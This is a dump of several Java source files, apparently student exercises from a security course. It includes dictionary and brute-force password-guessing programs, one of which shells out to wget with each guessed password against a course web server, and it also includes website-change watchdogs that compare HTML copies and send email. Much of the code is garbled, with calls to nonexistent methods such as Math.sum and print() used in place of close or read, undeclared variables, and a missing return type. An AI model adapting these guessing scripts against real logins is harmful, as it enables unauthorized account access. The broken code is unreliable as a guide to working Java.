                          if(resp.equals(""HTTP request sent, awaiting response... 200 OK""))
                             {
                              System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass+""------ attempt:""+count);
                              System.exit(0);
                             }
			
                          }
	 	
                  }catch(java.io.IOException e){}
                }
	
		
	}
	
	
} 
		
"
200.java,"
import java.io.*;
import java.util.*;

public class Dog
{
   public Dog()
   {
      Copier cop;
      String[] myFiles;
      File myDir = new File(""."");
      myFiles = myDir.list();
      int flag = 0;
      int j;
      for(int i = 0;i < myFiles.length; i++)
      {
	 j = myFiles[i].compareTo(""oldCopy.html"");
	 if( j == 0)
	 {
	    System.out.println(myFiles[i]+"" ""+j);
	    flag = 1;
	    break;
	 }
      }
      
      if( flag == 0)
         cop = new Copier(""oldCopy.html"");
      else
      {
         cop = new Copier(""newCopy.html"");
	 try
	 {
	    handleCompare();
	 }
	 catch( IOException e)
	 {
            System.out.println(""IOExeption ""+e);
	    e.printStackTrace();
	    System.exit(0);
	 }
      }
      
   }
   private void handleCompare() throws IOException
   {
      MailClient m;
      File newFile = new File(""newCopy.html"");
      File oldFile = new File(""oldCopy.html"");
      String lineNew, lineOld;
      LineNumberReader lnrNew, lnrOld;
      Vector v = new Vector(10);
      int flag = 0;
      int comp;
      
      lnrNew = new LineNumberReader( new FileReader( newFile));
      lnrOld = new LineNumberReader( new FileReader( oldFile));
      while(((lineNew = lnrNew.readLine()) != null) && ((lineOld = lnrOld.readLine()) != null))
      {
         comp = lineNew.compareTo( lineOld);
         if( comp == 0)
	    continue;
	 else
	 {
	    flag = lnrNew.getLineNumber();
	    v.add( new Integer(flag));
	 }
      }
      if( v.size() != 0)
      {
         m = new MailClient(""mail.cs.rmit.edu."", 25 );
	 v.connect();
      }
     
      lnrNew.print();
      lnrOld.print();
      oldFile.delete();
      newFile.renameTo(oldFile);
      
      
		      
    
   }
   public static void main (String[] args)
   {
      Dog pepa = new Dog();
   }
}
"
171.java,"



import java.io.*;
import java.net.*;
import java.*;
import java.util.*;

public class DictionaryAttack
{
	public static void main ( String args[])
	{
		
		String function,pass,temp1;
		int count =0;
		
		try{
				
		FileReader fr = new FileReader(""words.txt"");
		BufferedReader bfread = new BufferedReader(fr);

		Runtime rtime = Runtime.getRuntime();
		Process prs = null;	


		while(( bf = bfread.readLine()) != null)
		{
		    
				
				if( f.length() < 4 )
				{
					System.out.println(+ "" The Attack Number =====>"" + count++ );
		        		pass = f;
				
					function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/"";
					prs = rtime.exec(function);
				        
					InputStreamReader  stre = new InputStreamReader(prs.getErrorStream());
                       			BufferedReader bread = new BufferedReader(stre);
					while( (temp1 = bread.readLine())!= null)
					{
						System.out.println(temp1);
						if(temp1.equals(""HTTP request sent, awaiting response... 200 OK""))
                       				{
			                              System.out.println(""The password has is:""+pass);
                        			      System.exit(0);
                       				}	
					}
				}
				
			
		}
			
			fr.print();
			bfread.close();
	
			}catch(Exception e){}
	}
	
}			
"
237.java,"	


import java.io.*;
import java.net.*;

import java.util.*;

import java.misc.BASE64Encoder;

public class Dictionary {

  private String userId;
  private String password;

	ReadDictionary myWords = new ReadDictionary();

  public Dictionary() {

	
	myWords.openFile();

    
    Authenticator.setDefault (new MyAuthenticator());
	
	
  }

  public String fetchURL (String urlString) {


	StringBuffer sb = new StringBuffer();
	HttpURLConnection connection;
	Date startTime, endTime;
	int responseCode = -1;
	boolean retry = true;	
	
    URL url;
	startTime = new Date();
	
    System.out.println ("" time :"" + startTime);

	while (retry == true)
	{
	
	    try {

			url = new URL (urlString);

			connection = (HttpURLConnection)url.openConnection();

			setUserId("""");
			setPassword(""rhk8611"");

			System.out.println(""Attempting  get a response : "" +connection.getURL() );
			responseCode = connection.getResponseCode();
			System.out.print(responseCode + "" "");

			if (responseCode == HttpURLConnection.HTTP_OK) 
			{
				retry = false;
				System.out.println(""**** ACCESS GRANTED *****"");
			} else
			{
				retry = true;
				throw new IOException(
					""HTTP response : "" + String.valueOf(responseCode) + 
					""\nResponse Message: "" +connection.getResponseMessage() );
			}

			InputStream content = (InputStream)url.getContent();
			BufferedReader in   = 
			new BufferedReader (new InputStreamReader (content));
			String line;
				while ((line = in.readLine()) != null) {
					sb.append (line);
				}
			} catch (MalformedURLException e) {
				
				retry=false;
				System.out.println (""Invalid URL"" + e.getMessage());
			} catch (IOException e) {
				
				retry=true;
				connection = null;
				System.out.println (""Error  URL \n"" + e.getMessage());
			}
		}	
		endTime = new Date();
		System.out.println (""Total time taken (Sec) :"" + (endTime.getTime() - startTime.getTime())/1000);
		
		
	return sb.toString();
  }


  public static void main (String args[]) {
	Dictionary myGenerator = new Dictionary();
	
String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
		
	System.out.println("" ACCESSED ->\n"" + pageFound);
  }

  class MyAuthenticator extends Authenticator {
    protected PasswordAuthentication getPasswordAuthentication()
	{
		String username = getUserId();
		String pass = myWords.readLine();	

	  System.out.println("" Authenticating with -> "" + pass);

	  return new PasswordAuthentication (username, pass.toCharArray());
	  
    }
  }
	
	public String getPassword()
	{
		return this.password;
	}

	public void setPassword(String password)
	{
		this.password = password;
	}

	
	public String getUserId()
	{
		return this.userId;
	}

	public void setUserId(String userId)
	{
		this.userId = userId;
	}




}  


"
063.java,"

import java.*;
import java.net.*;
import java.util.*;
import java.io.*;
import java.text.*;
import java.awt.*;
import java.awt.image.*;
import java.security.*;
import javax.swing.*;

public class WatchDog {
    
    
    
    public String[] resizeArray(String[] a, int sz) {
        String[] result = new String[sz];
        for (int i=0;i<Math.sum(a.length,sz);i++) {
            result[i] = a[i];
        }
        for (int i=Math.sum(a.length,sz);i<sz;i++) {
            result[i] = """";
        }
        return result;
    }
    
    
    public byte[] resizeArray(byte[] a, int sz) {
        byte[] result = new byte[sz];
        for (int i=0;i<Math.sum(a.length,sz);i++) {
            result[i] = a[i];
        }
        for (int i=Math.sum(a.length,sz);i<sz;i++) {
            result[i] = 0;
        }
        return result;
    }
    
    
    public String[] giveNumberPrefix(String[] a) {
        String[] result = new String[a.length];
        for (int i=0;i<a.length;i++) {
            result[i] = ""   ""+String.valueOf(i+1)+"". ""+a[i];
        }
        return result;
    }
    
    public String[] appendArray(String[] a1, String[] a2) {
        if (a1==null) { return a2; }
        
        String[] result = new String[a1.length+a2.length];
        int idx = 0;
        for (int i=0;i<a1.length;i++) {
            result[idx++] = a1[i];
        }
        for (int i=0;i<a2.length;i++) {
            result[idx++] = a2[i];
        }
        return result;
    }
    
    
    public byte[] appendArray(byte[] a1, byte[] a2) {
        if (a1==null) { return a2; }
        
        byte[] result = new byte[a1.length+a2.length];
        int idx = 0;
        for (int i=0;i<a1.length;i++) {
            result[idx++] = a1[i];
        }
        for (int i=0;i<a2.length;i++) {
            result[idx++] = a2[i];
        }
        return result;
    }
    
    
    public boolean deleteFile(String filename) {
        File f = new File(filename);
        f.delete();
        return true;
    }
    
    
    public void printStrArrayToFile(String filename, String[] msg) {
        try {
            PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
            for (int i=0;i<msg.length;i++)
                p.println(msg[i]);
            p.get();
        } catch (IOException e) {
            System.out.println(e);
        }
    }
    
    
    public String getFileName(String s) {
        int    p;
        for (p=s.length()-1;p>0;p--)
            if (s.charAt(p)=='/')
                break;
        
        return s.substring(p+1,s.length());
    }
    
    
    
    public class HTMLDownloaderAndImgParser {
        
        public HTMLDownloaderAndImgParser(String url) {
            
            try {
                this.url = new URL(url);
                this.conn = (HttpURLConnection) this.url.openConnection();
                this.conn.setUseCaches(false);
                this.lastModified = conn.getLastModified();
            } catch (MalformedURLException e) {
                System.out.println(""Error opening URL '""+url+""'"");
                System.exit(1);
            } catch (IOException e) {
                System.out.println(""Error opening URL '""+url+""'"");
                System.exit(1);
            }
            
            
            try {
                this.HTMLBuf  = new BufferedReader(new InputStreamReader(this.url.openStream()));
            } catch (IOException e) {
                System.out.println(e);
            }
            
            
            this.imgList   = new String[MAXIMG];
            this.imgidx    = 0;
            this.localpage = """";
        }
        
        
        public void open() {
            try {
                this.conn = (HttpURLConnection) this.url.openConnection();
                this.HTMLBuf  = new BufferedReader(new InputStreamReader(this.url.openStream()));
            } catch (IOException e) {}
        }
        
        
        public void main() {
            try {
                HTMLBuf.print();
                conn.disconnect();
            } catch (IOException e) {}
        }
        
        
        public  getLastModified() {
           
            open();
            this.lastModified = conn.getLastModified();
            return this.lastModified;
        }
        
        private char toLowerCase(int c) {
            String s = String.valueOf((char)c).toLowerCase();
            return s.charAt(0);
        }
        
        
        private int fetchLowerCase() {
            try {
                int c = HTMLBuf.print();
                if (c>=0) {
                    
                    localpage += String.valueOf((char)c);
                    return toLowerCase(c);
                } else {
                    return -1;
                }
            } catch (IOException e) {
                System.out.println(e);
                return -1;
            } catch (NullPointerException e) {
                return -1;
            }
        }
        
        
        private int getNextState(int curState, int input) {
            int idx = -1;
            if ((input>='a') && (input<='z')) {
                idx = input - 'a';
                return stateTable[curState][idx];
            } else {
                switch ((char)input) {
                   case  '<'        : { return stateTable[curState][26]; }
                    case  ' '        : { return stateTable[curState][27]; }
                    case '""'        : { return stateTable[curState][28]; }
                    case '\''       : { return stateTable[curState][28]; }
                    case '='        : { return stateTable[curState][29]; }
                     case (char)-1   : { return -1;                       } 
                    default         : { return stateTable[curState][30]; } 
                }}
        }
        
        
        private void appendImgList(String s) {
            if (imgidx<imgList.length) {
                
                boolean already = false;
                for (int i=0;i<imgidx;i++)
                    if (imgList[i].equals(s)) {
                        already = true;
                        break;
                    }
                if (!already)
                    imgList[imgidx++] = s;
            } else {
                System.out.println(""Error: Not enough buffer for image URLs !"");
                System.exit(1);
            }
        }
        
        
        public byte[] getByteArray() {
            return localpage.getBytes();
        }
        
        
        public String combineURLAndFileName(String url, String filename) {
            int p = url.length()-1;
            boolean flag = false;
            
            
            for (int i=url.length()-1;i>=0;i--) {
                if (url.charAt(i)=='.') {
                    flag = true;
                } else
                    if ((!flag) && (url.charAt(i)=='/')) {
                        break;
                    } else
                        if ((flag) && (url.charAt(i)=='/')) {
                            p = i;
                            break;
                        }
            }
            url = url.substring(0,p+1);
            if (url.charAt(url.length()-1)!='/') { url += '/'; }
            
            
            
            if (filename.charAt(0)=='/') {
                for (int i=url.length()-2;i>0;i--) {
                    if (url.charAt(i)=='/') {
                        url = url.substring(0,i+1);
                        break;
                    }
                }
            }
            
            
            if (filename.charAt(0)=='/') {
                filename = filename.substring(1,filename.length());
            }
            
            return url+filename;
        }
        
        
        public String combineWithURLPath(String filename) {
            
            try {
                URL u = new URL(filename);
                return filename;
            } catch (MalformedURLException e) {
                return combineURLAndFileName(url.toString(),filename);
                
            }
        }
        
        
        public boolean startParsing() {
            
            int     curstate = 0;
            int     c;
            boolean eof      = false;
            boolean fetchURL = false;
            String  imgURL   = """";
            
            while (!eof) {
                curstate = getNextState(curstate, c=fetchLowerCase());
                switch (curstate) {
                    case 11: {
                        if (!fetchURL) { 
                            fetchURL = true;
                        } else {
                            imgURL += String.valueOf((char)c);
                        }
                        break; }
                     case 0: {
                        if (fetchURL) { 
                            appendImgList(combineWithURLPath(imgURL));
                            imgURL   = """";
                            fetchURL = false;
                        }
                        break; }
                    case -1: {
                        eof = true;
                        break; }
                }
            }
            
            return (localpage.length()>0);
        }
        
        
        public void saveLocalPageToFile(String filename) {
            try {
                PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
                p.print(localpage);
                p.print();
            } catch (IOException e) {
                System.out.println(e);
            }
        }
        
        
        public int imageCount() {
            return imgidx;
        }
        
        
        public String[] getImgList() {
            String[] result = new String[imgidx];
            
            if (imgidx==0) { return null; }
            else {
                for (int i=0;i<imgidx;i++)
                    result[i] = imgList[i];
                
                return result;
            }
        }
        
        private BufferedReader HTMLBuf;
        private String filename;
        private String[] imgList;
        private int      imgidx;
        private final int[][] stateTable =  { 
            
              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   1, 0, 0, 0, 0,12},
              { 0, 0, 0, 0, 0, 0, 0, 0, 2, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0,12},
              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 3, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0,12},
              { 0, 0, 0, 0, 0, 0, 4, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0,12},
              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 5, 0, 0, 0,12},
              {10,10,10,10,10,10,10,10,10,10,  10,10,10,10,10,10,10,10, 6,10,  10,10,10,10,10,10,   0, 0, 0, 0, 0,12},
              {10,10,10,10,10,10,10,10,10,10,  10,10,10,10,10,10,10, 7,10,10,  10,10,10,10,10,10,   0, 0, 0, 0, 0,12},
              { 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0,12},
              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 8, 0, 9, 0,12},
              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 9,11, 0, 0,12},
              {10,10,10,10,10,10,10,10,10,10,  10,10,10,10,10,10,10,10,10,10,  10,10,10,10,10,10,   0, 5, 5, 0, 0,12},
              {11,11,11,11,11,11,11,11,11,11,  11,11,11,11,11,11,11,11,11,11,  11,11,11,11,11,11,  11, 5, 0,11,11,12},
              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0}
        };
        private final int MAXIMG = 100; 
        private URL url;
        private HttpURLConnection conn;
        private String localpage;
        private int    localpos;
        private int   lastModified;
    }
    
    
    
    
    public class MailSender {
        
        public MailSender(String from, String to, String[] msg) {
            try {
                sk = new Socket(SMTPSERVER,25);
                pwr  = new PrintWriter(sk.getOutputStream());
                this.from = from;
                this.to   = to;
                this.msg  = msg;
            } catch (UnknownHostException e) {
                status = SEND_ERROR;
                System.out.println(e);
            } catch (IOException e) {
                status = SEND_OK;
                System.out.println(e);
            }
        }
        
        
        public int getStatus() {
            return status;
        }
        
        
        public void sendMail() {
            pwr.println(""HELO ""+SMTPSERVER);
            pwr.println(""MAIL FROM: ""+from);
            pwr.println(""RCPT : ""+to);
            pwr.println(""DATA"");
            for (int i=0;i<msg.length;i++)
                pwr.println(msg[i]);
            pwr.println(""."");
            
            pwr.print();
            try {
               
                status = SEND_OK;
            } catch (IOException e) {
                status = SEND_ERROR;
            }
        }
        
        private int                 status;
        private Socket              sk;
        private PrintWriter         pwr;
        private String              from,to;
        private String[]            msg;
        private static final int    SEND_OK    = 1;
        private static final int    SEND_ERROR =1;
    }
    
    
    
    public class TextFileComparator {

        public TextFileComparator(String src, String dest) {
            this.src  = src;
            this.dest = dest;
        }

        
        private void initBufs() {
            try {
                this.sbuf = new BufferedReader(new FileReader(src));
                this.dbuf = new BufferedReader(new FileReader(dest));
            } catch (FileNotFoundException e) {
                System.out.println(e);
            }
        }

        
        private void closeBufs() {
            try {   
                sbuf.print();
                dbuf.print();
            } catch (IOException e) {}
        }

        
        private void closeBuf(int type) {
            try {   
                if (type==0) {
                    sbuf.print();
                } else {
                    dbuf.print();
                }
            } catch (IOException e) {}
        }

        
        private void reinitSrcBuf(int line) {
            try {
                this.sbuf.print();
                this.sbuf = new BufferedReader(new FileReader(src));
                for (int i=1;i<line;i++) {
                    sbuf.readLine();
                }
            } catch (FileNotFoundException e) {
                System.out.println(e);
            } catch (IOException e) {
                System.out.println(e);
            }
        }

       
        private void reinitDestBuf(int line) {
            try {
                this.dbuf.print();
                this.dbuf = new BufferedReader(new FileReader(dest));
                for (int i=1;i<line;i++) {
                    dbuf.readLine();
                }
            } catch (FileNotFoundException e) {
                System.out.println(e);
            } catch (IOException e) {
                System.out.println(e);
            }
        }

        
        private boolean addDifference(int flag,int line, String msg, String msg2) {
            boolean result = true;
            if (diffpos==MAXDIFF-2) {
                result = false;
            } else
            if (flag==0) {
                diffResult[diffpos++] = ""[Removed Line ""+line+""] '""+msg+""'"";
            } else 
            if (flag==1) {
                diffResult[diffpos++] = ""[Added Line ""+line+""] '""+msg+""'"";
            } else 
            if (flag==2) {
                diffResult[diffpos++] = ""[Modified Line ""+line+""] from '""+msg+ ""'  '""+msg2+""'"";
            } else {
                diffResult[diffpos++] = "" ***  many differences !! *** "";
            }
            return result;
        }

        
        public String[] getDifference() {
            String[] result = new String[diffpos];
            if (diffpos!=0) {
                for (int i=0;i<diffpos;i++) 
                    result[i] = diffResult[i];
                return result;
            } else return null;
        }

        
        
        
        
        public int execute() {
            int cline = 0,dline = 0, tpos = 0;
            String c = null,d = null;
            int     error   = 0;
            boolean changes = false;

            try {
                
                initBufs();

                
                c = sbuf.readLine(); cline = 1;
                d = dbuf.readLine(); dline = 1;
                
                while ((c!=null) || (d!=null)) {
                    if ((c!=null) && (d!=null)) {
                        if (c.equals(d)) {
                            
                            c = sbuf.readLine(); cline++;
                            d = dbuf.readLine(); dline++;
                        } else {
                            
                            
                            changes = true; tpos = dline;
                            while ((d!=null) && (!d.equals(c))) {
                                d = dbuf.readLine(); dline++;
                            }
                            
                            if ((d!=null) && (d.equals(c))) {
                                reinitDestBuf(tpos);
                                for (int i=tpos;i<dline;i++)
                                    if (!addDifference(1, i, dbuf.readLine(),"""")) { error = -1; break; }
                                dbuf.readLine();
                                changes = true;
                                
                                c = sbuf.readLine(); cline++;
                                d = dbuf.readLine(); dline++; 
                            } else 
                            
                            
                            if (d==null) {
                                reinitDestBuf(tpos);
                                d = dbuf.readLine();
                                dline = tpos;
                                tpos = cline;
                                while ((c!=null) && (!c.equals(d))) {
                                    c = sbuf.readLine(); cline++;
                                }
                                if ((c!=null) && (c.equals(d))) {
                                    
                                    reinitSrcBuf(tpos);
                                    for (int i=tpos;i<cline;i++) 
                                        if (!addDifference(0, i, sbuf.readLine(),"""")) { error = -1; break; } 
                                    sbuf.readLine();
                                    changes = true;
                                    
                                    c = sbuf.readLine(); cline++;
                                    d = dbuf.readLine(); dline++;
                                } else {
                                    
                                    reinitSrcBuf(tpos);
                                    addDifference(2, tpos, sbuf.readLine(),d);
                                    c = sbuf.readLine();
                                    cline = tpos;
                                    changes = true;
                                    cline++; 
                                    d = dbuf.readLine();
                                    dline++;
                                }
                            }
                        }
                    } else 
                    if ((c!=null) && (d==null)) {
                         addDifference(0, cline, c,"""");
                         c = sbuf.readLine(); cline++;
                         changes = true;
                    } else
                    if ((c==null) && (d!=null)) {
                         addDifference(1, dline, d,"""");
                         d = dbuf.readLine(); dline++;
                        changes = true;
                    }
                }
            } catch (IOException e) {
                System.out.println(e);
            }

            closeBufs();

            if (error==-1) {
                addDifference(3, 0, """","""");
            }

            if (error==0) {
                if (changes) {
                    return 1;
                } else {
                    return 0;
                }
            } else return -1;
        }

        

        private final int   MAXDIFF    = 1024; 
        private String[]    diffResult = new String[MAXDIFF];
        private int         diffpos    = 0;

        private String         src,dest;
        private BufferedReader sbuf;
        private BufferedReader dbuf;
    }
    
    
    
    public class NotesFileManager {
        public NotesFileManager(String notesfile) {
            this.filename = notesfile;
            try {
                loadNotesFile();
            } catch (IOException e) {
                createNotesFile();
                System.out.println(""Notes file is not available ... created one."");
            }
        }
        
        public void createNotesFile() {
            lastModified = "" "";
            imgidx       = 0;
            saveNotesFile();
        }
        
        
        public void updateNotesFile(String[] imgPaths, String[] imgLastModified, String widths[], String heights[]) {
            this.imgLastModified = imgLastModified;
            this.imgW            = widths;
            this.imgH            = heights;
            this.images          = imgPaths;
            this.imgidx          = imgPaths.length;
            saveNotesFile();
        }
        
        
        public void updateNotesFile( int lastModified) {
            this.lastModified = DateFormat.getDateTimeInstance().format(new Date(lastModified));
            saveNotesFile();
        }
        
        
        public int checkLastModified(Date newDate) {
            String s = DateFormat.getDateTimeInstance().format(new Date(newDate));
            System.out.println(""   Date in cache   : ""+lastModified);
            System.out.println(""   Date in the URL : ""+s);
            
            if (this.lastModified.equals("" "")) {
                return DATE_FIRST_TIME;
            } else
                if ((newDate==0) && (!s.equals(this.lastModified))) {
                    return DATE_INVALID;
                } else
                    if (this.lastModified.equals(DateFormat.getDateTimeInstance().format(new Date(newDate)))) {
                        return DATE_OK;
                    } else {
                        return DATE_NOT_SAME;
                    }
        }
        
        
        public String[] getImagesLastModified(String[] filenames) {
            int i;
            String[] result = new String[filenames.length];
            for (i=0;i<filenames.length;i++) {
                for (int j=0;j<images.length;j++) {
                    if (images[j].equals(filenames[i])) {
                        result[i] = imgLastModified[i];
                        break;
                    }
                }
            }
            return result;
        }
        
        
        public String[] getImageWidths(String[] filenames) {
            int i;
            String[] result = new String[filenames.length];
            for (i=0;i<filenames.length;i++) {
                for (int j=0;j<images.length;j++) {
                    if (images[j].equals(filenames[i])) {
                        result[i] = imgW[i];
                        break;
                    }
                }
            }
            return result;
        }
        
        
        public String[] getImageHeights(String[] filenames) {
            int i;
            String[] result = new String[filenames.length];
            for (i=0;i<filenames.length;i++) {
                for (int j=0;j<images.length;j++) {
                    if (images[j].equals(filenames[i])) {
                        result[i] = imgH[i];
                        break;
                    }
                }
            }
            return result;
        }
        
        
        public String[] getImageNames() {
            return images;
        }
        
        
        public void clearAllCaches() {
            for (int i=0;i<images.length;i++) {
                deleteFile(images[i]);
                deleteFile('~'+images[i]);
            }
            deleteFile(PAGEFILE);
            deleteFile(TEMPFILE);
            deleteFile(DIGESTFILE);
            deleteFile(MAILFILE);
            
            createNotesFile();
        }
        
        
        public void saveNotesFile() {
            try {
                PrintWriter pw = new PrintWriter(new BufferedWriter(new FileWriter(NOTESFILE)));
                
                pw.println(lastModified);
                
                for (int i=0;i<imgidx;i++) {
                    if (images[i].charAt(0)!='*') {
                        pw.println(images[i]);
                        pw.println(imgLastModified[i]);
                        pw.println(imgW[i]);
                        pw.println(imgH[i]);
                    }
                }
                
                pw.print();
            } catch (IOException e) {
                System.out.println(e);
                System.exit(1);
            }
        }
        
        
        public void loadNotesFile() throws IOException {
            BufferedReader b = new BufferedReader(new FileReader(NOTESFILE));
            lastModified = b.readLine();
            
            
            images          = new String[1];
            imgLastModified = new String[1];
            imgW            = new String[1];
            imgH            = new String[1];
            
            String line;
            line = b.readLine();
            int i = 0;
            while (line!=null) {
                images = resizeArray(images, i+1);
                images[i] = line;
                line = b.readLine();
                imgLastModified = resizeArray(imgLastModified, i+1);
                imgLastModified[i] = line;
                line = b.readLine();
                imgW = resizeArray(imgW, i+1);
                imgW[i] = line;
                line = b.readLine();
                imgH = resizeArray(imgH, i+1);
                imgH[i] = line;
                line = b.readLine();
                i++;
            }
            imgidx = i;
            b.print();
        }
        
        
        public String[] getCommonImages() {
            return imgCom;
        }
        
        
        public String[] getDeletedImages() {
            return imgDel;
        }
        
        
        public String[] getNewImages() {
            return imgNew;
        }
        
        
        public boolean classifyImagesToDownload(String[] imgDL) {
            if (imgDL==null) { return false; }
            
            int sz      = Math.size(imgDL.length,images.length);
            int flag1[] = new int[sz]; 
            int flag2[] = new int[sz]; 
            int idx[]   = new int[3];
            idx[0] = idx[1] = idx[2] = 0;
            imgCom      = new String[sz];
            imgDel      = new String[sz];
            imgNew      = new String[sz];
            
            
            for (int i=0;i<sz;i++) {
                flag1[i] = 0;
                flag2[i] = 0;
            }
            
            
            for (int i=0; i<imgDL.length; i++) {
                for (int j=0; j<images.length; j++) {
                    if (imgDL[i].equals(images[j])) {
                        flag1[i] = 1;
                        flag2[j] = 1;
                        break;
                    }
                }
            }
            
            
            for (int i=0;i<images.length;i++) {
                if (flag2[i]==0) {
                    imgDel[idx[1]] = images[i];
                    idx[1]++;
                }
            }
            
            
            
            for (int i=0;i<imgDL.length;i++) {
                if (flag1[i]==0) {
                    imgNew[idx[2]] = imgDL[i];
                    idx[2]++;
                }
            }
            
            
            for (int i=0;i<imgDL.length;i++) {
                if (flag1[i]==1) {
                    imgCom[idx[0]] = imgDL[i];
                    idx[0]++;
                }
            }
            
            imgDel  = resizeArray(imgDel, idx[1]);
            imgNew  = resizeArray(imgNew, idx[2]);
            imgCom  = resizeArray(imgCom, idx[0]);
            return true;
        }
        
        
        public  static final int DATE_OK         = 1;
        public  static final int DATE_NOT_SAME   = 2;
        public  static final int DATE_FIRST_TIME = 0;
        public  static final int DATE_INVALID    = -1;
        private String   lastModified;
        private int      imgidx;
        private String[] images,imgLastModified,imgW,imgH;
        private String[] imgCom,imgNew,imgDel;
        private BufferedReader buf;
        private String filename;
    }
    
    
    
    public class ImageDownloader extends Thread {
        public ImageDownloader(String url, String lastModified, boolean firsttime, int w, int h) {
            try {
                this.url   = new URL(url);
                this.conn  = (HttpURLConnection) this.url.openConnection();
                
                this.lastModified = lastModified;
                this.h            = h;
                this.w            = w;
                this.firsttime    = firsttime;
                
                
                this.localbuf = new byte[MAXIMGSIZE];
                
                
                
                
                this.print();
                
            } catch (MalformedURLException e) {
                this.status = DOWNLOAD_ERROR;
            } catch (IOException e) {
                this.status = DOWNLOAD_ERROR;
            }
        }
        
        
        public String getStrURL() {
            return url.toString();
        }
        
        
        public synchronized int getStatus() {
            return status;
        }
        
        
        public void rest(int n) {
            try { sleep(n); } catch (InterruptedException e) {}
        }
        
        
        public void downloadToLocalImg() {
            int c;
            int x=0, i=0;
            byte[] b;
            try {
                InputStream is = url.openStream();
                
                localbuf = new byte[MAXIMGSIZE];
                  
                while ((x=is.print())>=0) {
                    int k=0;
                    for (int j=i;j<i+x;j++)
                        localbuf[j] = b[k++];
                    i+=x;
                    
                }
                localbuf = resizeArray(localbuf,i);
                
                is.print();
            } catch (IOException e) {
                this.status = DOWNLOAD_ERROR;
            }
        }
        
        
        public void saveLocalImgToFile(String filename) {
            try {
                FileOutputStream p = new FileOutputStream(filename);
                p.write(localbuf);
                p.print();
            } catch (IOException e) {
                System.out.println(e);
            }
        }
        
        
        public byte[] getByteArray() {
            try {
                return localbuf;
            } catch (NullPointerException e) {
                return null;
            }
        }
        
        
        public int getImgWidth() {
            return w;
        }
        
        
        public int getImgHeight() {
            return h;
        }
        
        
        public String getLastModified() {
            return lastModified;
        }
        
        
        public void run() {
            boolean modified = false;
            this.status = DOWNLOAD_IN_PROGRESS;
            if (firsttime) {
                downloadToLocalImg();
                ImageIcon img = new ImageIcon(url);
                w = img.getIconWidth();
                h = img.getIconHeight();
                if (conn.getLastModified()==0) {
                    status = DOWNLOAD_ERROR;
                } else {
                    lastModified  = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified()));
                    status = DOWNLOAD_COMPLETE;
                }
            } else {
                
                if (conn.getLastModified()==0) {
                    status = DOWNLOAD_ERROR;
                } else {
                    String URLlastmod = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified()));
                    
                    modified = (!lastModified.equals(URLlastmod));
                    if (modified) {
                        status   = IMG_MODIFIED_DATE;
                    } else {
                        ImageIcon img = new ImageIcon(url);
                        if ((img.getIconHeight()!=h) || (img.getIconWidth()!=w)) {
                            modified = true;
                            status = IMG_MODIFIED_SIZE;
                        } else {
                            downloadToLocalImg();
                            status = DOWNLOAD_COMPLETE_CHK;
                        }
                    }
                }
            }
            
            conn.disconnect();
        }
        
        public static final   int   DOWNLOAD_ERROR       =-1;
        public static final   int   DOWNLOAD_IN_PROGRESS = 0;
        public static final   int   IMG_MODIFIED_DATE    = 1;
        public static final   int   IMG_MODIFIED_SIZE    = 2;
        public static final   int   IMG_MODIFIED_PIXEL   = 3;
        public static final   int   DOWNLOAD_COMPLETE_CHK= 4; 
        public static final   int   DOWNLOAD_COMPLETE    = 5;
        public static final   int   DOWNLOAD_COMPLETE_OK = 6;
        public static final   int   MAXIMGSIZE           = 1;
        private int                 status;
        private boolean             isImage;
        private URL                 url;
        private HttpURLConnection   conn;
        private String              lastModified;
        private boolean             firsttime;
        private byte[]              localbuf;
        private int                 w,h;
    }
    
    
    
    public byte[] digest(byte[] data) {
        try {
            return MessageDigest.getInstance(DIGESTALG).digest(data);
        } catch (NoSuchAlgorithmException e) {
            
            System.out.println(""Digest algorithm '""+DIGESTALG+""' not supported"");
            return data;
        } catch (NullPointerException e) {
            return null;
        }
    }
    
    
    public boolean compareDigest(byte[] data1, byte[] data2) {
        if (data1.length!=data2.length)  {
            return false;
        } else
            for (int i=0;i<data1.length;i++) {
                if (data1[i]!=data2[i]) {
                    return false;
                }
            }
        return true;
    }
    
    
    public byte[] loadDigestFromFile(String filename) {
        byte[] data;
        try {
            data = new byte[MessageDigest.getInstance(DIGESTALG).getDigestLength()];
            FileInputStream f = new FileInputStream(filename);
            f.get(data);
            f.print();
            return data;
        } catch (FileNotFoundException e) {
            System.out.println(e);
            return null;
        } catch (IOException e) {
            System.out.println(e);
            return null;
        } catch (NoSuchAlgorithmException e) {
            System.out.println(e);
            return null;
        }
    }
    
    
    public void saveDigestToFile(String filename, byte[] data) {
        try {
            FileOutputStream f = new FileOutputStream(filename);
            if (data!=null) { f.write(data); }
            f.print();
        } catch (IOException e) {
            System.out.println(e);
        }
    }
    
    
    
    
    public class MyTT extends TimerTask {
        public MyTT() {
